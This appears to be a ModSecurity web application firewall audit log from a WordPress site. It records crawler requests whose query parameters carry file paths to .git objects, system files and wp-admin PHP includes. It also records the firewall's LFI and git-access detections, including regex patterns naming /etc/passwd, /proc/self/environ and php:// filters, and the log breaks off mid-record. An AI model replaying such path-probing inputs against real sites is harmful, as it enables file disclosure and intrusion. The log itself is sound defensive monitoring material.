{"transaction":{"time":"13/Mar/2026:09:35:21.060542 +0100","transaction_id":"abPMSFRY1ZHue1KnYxojvQAAAok","remote_address":"57.141.20.10","remote_port":58492,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/a2/03f49b8e1dee1e224193b4beb16f97b01a2cbb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"56371406070cd3a503b09d53246f412d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13238389"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"56371406070cd3a503b09d53246f412d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/a2/03f49b8e1dee1e224193b4beb16f97b01a2cbb||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":193,"p2":4854,"p3":0,"p4":0,"p5":290,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:23.609277 +0100","transaction_id":"abPMSk26I4peWFmz15ygEQAAAUc","remote_address":"57.141.20.50","remote_port":45282,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/69 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"73610742dd8cb52a343c94ad79b13d12","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533625"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"73610742dd8cb52a343c94ad79b13d12","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/69||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":325,"p2":7768,"p3":0,"p4":0,"p5":305,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:25.476446 +0100","transaction_id":"abPMTbJ190y1fElY11bi8QAAAJQ","remote_address":"57.141.20.55","remote_port":49270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/eo/LC_MESSAGES/avahi.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"b7096062b51106b251dac16b28a265bd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11505541"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b7096062b51106b251dac16b28a265bd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eo/LC_MESSAGES/avahi.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":185,"p2":4097,"p3":0,"p4":0,"p5":271,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:27.884971 +0100","transaction_id":"abPMT026I4peWFmz15ygKAAAAUw","remote_address":"57.141.20.10","remote_port":38112,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/var/lib/lws/test.php83 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"9af3b4ea74add6b237a14a9ed528cb51","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10258677"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9af3b4ea74add6b237a14a9ed528cb51","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/lws/test.php83||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":320,"p2":5941,"p3":0,"p4":0,"p5":355,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:37.497004 +0100","transaction_id":"abPMWU26I4peWFmz15ygUAAAAUY","remote_address":"57.141.20.18","remote_port":46616,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/a/aaa-s HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"ebb69b5f6a356f2f7ea0c972a35f7e18","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14222866"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ebb69b5f6a356f2f7ea0c972a35f7e18","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/aaa-s||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":191,"p2":4030,"p3":0,"p4":0,"p5":291,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:40.932485 +0100","transaction_id":"abPMXOEAMg66iR7kG38aAAAAA0k","remote_address":"57.141.20.19","remote_port":60322,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/71/159ddc4433d683dddaca648446880bd1a50204 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"b082a7d5979826346566ce4cd0e00bb1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3018036"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b082a7d5979826346566ce4cd0e00bb1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/71/159ddc4433d683dddaca648446880bd1a50204||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":4358,"p3":0,"p4":0,"p5":298,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:44.802798 +0100","transaction_id":"abPMYE26I4peWFmz15ygcQAAAVQ","remote_address":"57.141.20.18","remote_port":53548,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/hu/LC_MESSAGES/iso_3166_2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"d8b6728608e4238024c0df7f4794a611","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8556350"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d8b6728608e4238024c0df7f4794a611","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/hu/LC_MESSAGES/iso_3166_2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":275,"p2":6088,"p3":0,"p4":0,"p5":354,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:50.144723 +0100","transaction_id":"abPMZU26I4peWFmz15ygfwAAAUY","remote_address":"57.141.20.26","remote_port":46616,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c1/769888ad5e877ba8ee489bb0a07a4c5285dd8c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"416ad1ca691db1f660dbb13c9906acda","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14222931"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"416ad1ca691db1f660dbb13c9906acda","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c1/769888ad5e877ba8ee489bb0a07a4c5285dd8c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":343,"p2":6036,"p3":0,"p4":0,"p5":370,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:54.630675 +0100","transaction_id":"abPMaqg_lPa2owFZ6_PqbQAAAQo","remote_address":"57.141.20.3","remote_port":53380,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php7.1/lib/php/.channels/pear.php.net.reg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"137bd7cef8dc0a15ca7b20b705294862","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8423577"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"137bd7cef8dc0a15ca7b20b705294862","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/lib/php/.channels/pear.php.net.reg||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]","Access denied with code 406 (phase 2). Pattern match \"/\\\\..+\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"290\"] [id \"430015\"] [msg \"Malware.Expert - request_uri: hidden .php execute\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/\\\\\\\\\\\\\\\\..+\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"290\"] [id \"430015\"] [msg \"Malware.Expert - request_uri: hidden .php execute\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/harvest/\"] [unique_id \"abPMaqg_lPa2owFZ6_PqbQAAAQo\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/\\\\..+\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":254,"p2":3923,"p3":0,"p4":0,"p5":301,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:36:08.623127 +0100","transaction_id":"abPMeExHnLkyPWuTIW5YfQAAAY0","remote_address":"57.141.20.51","remote_port":40796,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3d/2f166b172a71d1e2d5f3dd395c3828025c3af4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"d63299fc8cf2a905a9445c3d57b3b9f7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7802706"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d63299fc8cf2a905a9445c3d57b3b9f7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3d/2f166b172a71d1e2d5f3dd395c3828025c3af4||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":352,"p2":7126,"p3":0,"p4":0,"p5":1028,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:36:22.512240 +0100","transaction_id":"abPMhqg_lPa2owFZ6_PqqwAAAQQ","remote_address":"57.141.20.29","remote_port":56446,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-admin/includes/class-wp-application-passwords-list-table.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"2eb49f15cc86d4a9fcf6d614973ddfcc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13797174"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2eb49f15cc86d4a9fcf6d614973ddfcc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/organic-products/\"] [unique_id \"abPMhqg_lPa2owFZ6_PqqwAAAQQ\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":363,"p2":5329,"p3":0,"p4":0,"p5":301,"sr":168,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:36:33.050695 +0100","transaction_id":"abPMkE26I4peWFmz15yhgwAAAVA","remote_address":"57.141.20.46","remote_port":44746,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dd/7f26f36c9281d794043e29b145160ac5ab7270 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"dbeac9e190bcdf1b91c1de46e31782a1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11405060"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dbeac9e190bcdf1b91c1de46e31782a1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dd/7f26f36c9281d794043e29b145160ac5ab7270||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":298,"p2":5983,"p3":0,"p4":0,"p5":393,"sr":142,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:36:43.447036 +0100","transaction_id":"abPMmk26I4peWFmz15yiRAAAAU0","remote_address":"114.119.140.84","remote_port":56460,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/274478051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"7df7958c704d2a48f4ae0b37f94082b8","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com 